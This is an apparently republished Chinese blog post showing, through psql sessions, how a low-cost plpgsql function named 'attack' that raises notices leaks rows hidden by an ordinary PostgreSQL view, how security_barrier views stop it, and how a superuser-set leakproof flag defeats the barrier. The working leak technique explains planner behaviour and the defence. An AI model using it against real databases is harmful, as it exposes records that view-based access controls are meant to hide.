PostgreSQL leakproof function in rule rewrite("attack" security_barrier views).

本文涉及的产品
云原生数据库 PolarDB MySQL 版,通用型 2核4GB 50GB
云原生数据库 PolarDB PostgreSQL 版,标准版 2核4GB 50GB
简介:
上一篇BLOG我介绍了一下PostgreSQL 9.4新增的一个功能, 支持自动更新设置了安全栅栏的简单视图.
在文章结尾的时候提到leakproof函数和安全栅栏条件一样, 在重写规则时会放到用户的过滤条件之前执行.
因此, 安全栅栏并不能防止leakproof的攻击( 当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了. ). 
另外, 使用leakproof函数需要注意的是它的实际执行成本, 如果实际执行成本很高的函数, 又没有特别的需要让它先执行, 那么最好不要设置为leakproof, 因为它不管其他过滤条件, 都是先执行的.

我们可以拿视图攻击的例子来演示这个攻击 : 
普通视图的攻击例子 :
digoal=# create table userinfo(id int, groupid int, username text, age int, addr text, email text, phone text);
CREATE TABLE
digoal=# insert into userinfo values (1, 1, 'digoal', 1000, '杭州西湖区', 'digoal@126.com', '13999999999');
INSERT 0 1
digoal=# insert into userinfo values (2, 1, 'test', 1000, '火星', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (3, 1, 'test', 1000, '月球', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# insert into userinfo values (4, 2, 'test', 1000, '土星', 'digoal@126.com', '11999999999');
INSERT 0 1
digoal=# create view v_userinfo as select * from userinfo where groupid =2;
CREATE VIEW
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from userinfo;
ERROR:  permission denied for relation userinfo
digoal=> select * from v_userinfo;
ERROR:  permission denied for relation v_userinfo
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# grant select on v_userinfo to digoal;
GRANT
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from v_userinfo;
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)

digoal=> create or replace function attack(int,int,text,int,text,text,text) returns boolean as $$
digoal$> declare
digoal$> begin
digoal$>   raise notice '%,%,%,%,%,%,%', $1,$2,$3,$4,$5,$6,$7;
digoal$>   return true;
digoal$> end;
digoal$> $$ language plpgsql cost 0.00000000000000000000001;
CREATE FUNCTION
digoal=> select * from v_userinfo;
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)

digoal=> select * from v_userinfo where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  4 |       2 | test     | 1000 | 土星 | digoal@126.com | 11999999999
(1 row)

设置视图的安全栅栏属性 : 
使用普通的函数就不能攻击他了.
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# create view v_userinfo_1 with(security_barrier) as select * from userinfo where id=2;
CREATE VIEW
digoal=# grant select on v_userinfo_1 to digoal;
GRANT
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  2 |       1 | test     | 1000 | 火星 | digoal@126.com | 11999999999
(1 row)

但是, 如果把函数设置为leakproof, 就可以被攻击了.
digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# alter function digoal.attack(int,int,text,int,text,text,text) leakproof;
ALTER FUNCTION
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
NOTICE:  1,1,digoal,1000,杭州西湖区,digoal@126.com,13999999999
NOTICE:  2,1,test,1000,火星,digoal@126.com,11999999999
NOTICE:  3,1,test,1000,月球,digoal@126.com,11999999999
NOTICE:  4,2,test,1000,土星,digoal@126.com,11999999999
 id | groupid | username | age  | addr |     email      |    phone    
----+---------+----------+------+------+----------------+-------------
  2 |       1 | test     | 1000 | 火星 | digoal@126.com | 11999999999
(1 row)

原因是在重写规则时, leakproof函数和安全栅栏条件一样, 被放到了relation层过滤, 而普通函数则在子查询中过滤 : 
digoal=> explain verbose select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
                                                                       QUERY PLAN                                                   
                     
------------------------------------------------------------------------------------------------------------------------------------
---------------------
 Seq Scan on public.userinfo  (cost=0.00..34.00 rows=3 width=140)
   Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
   Filter: (attack(userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone) AN
D (userinfo.id = 2))
(3 rows)

digoal=> \c digoal postgres
You are now connected to database "digoal" as user "postgres".
digoal=# alter function digoal.attack(int,int,text,int,text,text,text) not leakproof;
ALTER FUNCTION
digoal=# \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> explain verbose select * from v_userinfo_1 where attack(id,groupid,username,age,addr,email,phone);
                                                                         QUERY PLAN                                                 
                         
------------------------------------------------------------------------------------------------------------------------------------
-------------------------
 Subquery Scan on v_userinfo_1  (cost=0.00..34.10 rows=3 width=140)
   Output: v_userinfo_1.id, v_userinfo_1.groupid, v_userinfo_1.username, v_userinfo_1.age, v_userinfo_1.addr, v_userinfo_1.email, v_
userinfo_1.phone
   Filter: attack(v_userinfo_1.id, v_userinfo_1.groupid, v_userinfo_1.username, v_userinfo_1.age, v_userinfo_1.addr, v_userinfo_1.em
ail, v_userinfo_1.phone)
   ->  Seq Scan on public.userinfo  (cost=0.00..34.00 rows=10 width=140)
         Output: userinfo.id, userinfo.groupid, userinfo.username, userinfo.age, userinfo.addr, userinfo.email, userinfo.phone
         Filter: (userinfo.id = 2)
(6 rows)

当然, 只有超级用户才能创建leakproof函数, 所以也不能说利用leakproof来攻击了. 因为既然有了超级用户权限, 就不需要这么麻烦来获取数据了, 直接读原表得了.
digoal=> \c digoal digoal
You are now connected to database "digoal" as user "digoal".
digoal=> alter function digoal.attack(int,int,text,int,text,text,text) not leakproof;
ALTER FUNCTION
digoal=> alter function digoal.attack(int,int,text,int,text,text,text) leakproof;
ERROR:  only superuser can define a leakproof function


[参考]
相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
目录
相关文章
|
关系型数据库 数据库 PostgreSQL
postgresql数据库如何查看我自己创建的function呢
SELECT pg_proc.proname AS "函数名称", pg_type.typname AS "返回值数据类型", pg_proc.pronargs AS "参数个数"FROM pg_proc JOIN pg_type ON (pg_proc.
6633 0
|
关系型数据库 分布式数据库 PolarDB
|
关系型数据库 分布式数据库 定位技术
PolarDB for PostgreSQL 开源必读手册-VACUUM处理(中)
PolarDB for PostgreSQL 开源必读手册-VACUUM处理
157 0
|
关系型数据库 分布式数据库 PolarDB
《阿里云产品手册2022-2023 版》——PolarDB for PostgreSQL
《阿里云产品手册2022-2023 版》——PolarDB for PostgreSQL
359 0
|
存储 缓存 关系型数据库
|
存储 SQL 并行计算
PolarDB for PostgreSQL 开源必读手册-开源PolarDB for PostgreSQL架构介绍(中)
PolarDB for PostgreSQL 开源必读手册-开源PolarDB for PostgreSQL架构介绍
413 0
|
存储 算法 安全
PolarDB for PostgreSQL 开源必读手册-开源PolarDB for PostgreSQL架构介绍(下)
PolarDB for PostgreSQL 开源必读手册-开源PolarDB for PostgreSQL架构介绍
376 0
|
关系型数据库 分布式数据库 开发工具